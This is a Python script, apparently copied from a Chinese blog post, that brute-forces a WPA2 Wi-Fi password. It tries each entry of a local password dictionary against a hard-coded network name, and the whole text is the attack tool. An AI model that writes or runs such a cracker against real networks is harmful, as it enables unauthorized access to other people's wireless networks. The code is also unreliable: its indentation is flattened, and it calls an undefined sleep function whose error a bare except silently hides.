import pywifi
from pywifi import const
import time
wifi = pywifi.PyWiFi() #抓取网卡接口
iface = wifi.interfaces()[0] #抓取第一个无线网卡
iface.disconnect() #测试链接断开所有链接
#读取密码字典,进行匹配
def readPassWord(path,name):
getFilePath =path
get_wifissid = name
pwdfilehander=open(getFilePath,"r",errors="ignore")
while True:
try:
pwdStr =pwdfilehander.readline()
if not pwdStr:
break
bool1=connect(pwdStr,get_wifissid)
if bool1:
res = "===正确=== wifi名:%s 匹配密码:%s "%(get_wifissid,pwdStr)
print(res)
break
else:
res = "---错误--- wifi名:%s匹配密码:%s"%(get_wifissid,pwdStr)
print(res)
sleep(3)
except:
continue
#对wifi和密码进行匹配
def connect(pwd_Str,wifi_ssid):
#创建wifi链接文件
profile = pywifi.Profile()
profile.ssid =wifi_ssid #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = pwd_Str #密码
iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = iface.add_network_profile(profile)#设定新的链接文件
iface.connect(tmp_profile)#链接
time.sleep(5)
if iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
if __name__ == '__main__':
readPassWord(path="C:/Users/Administrator/Desktop/py/密码.txt",name="H3C_B55F14")
原文链接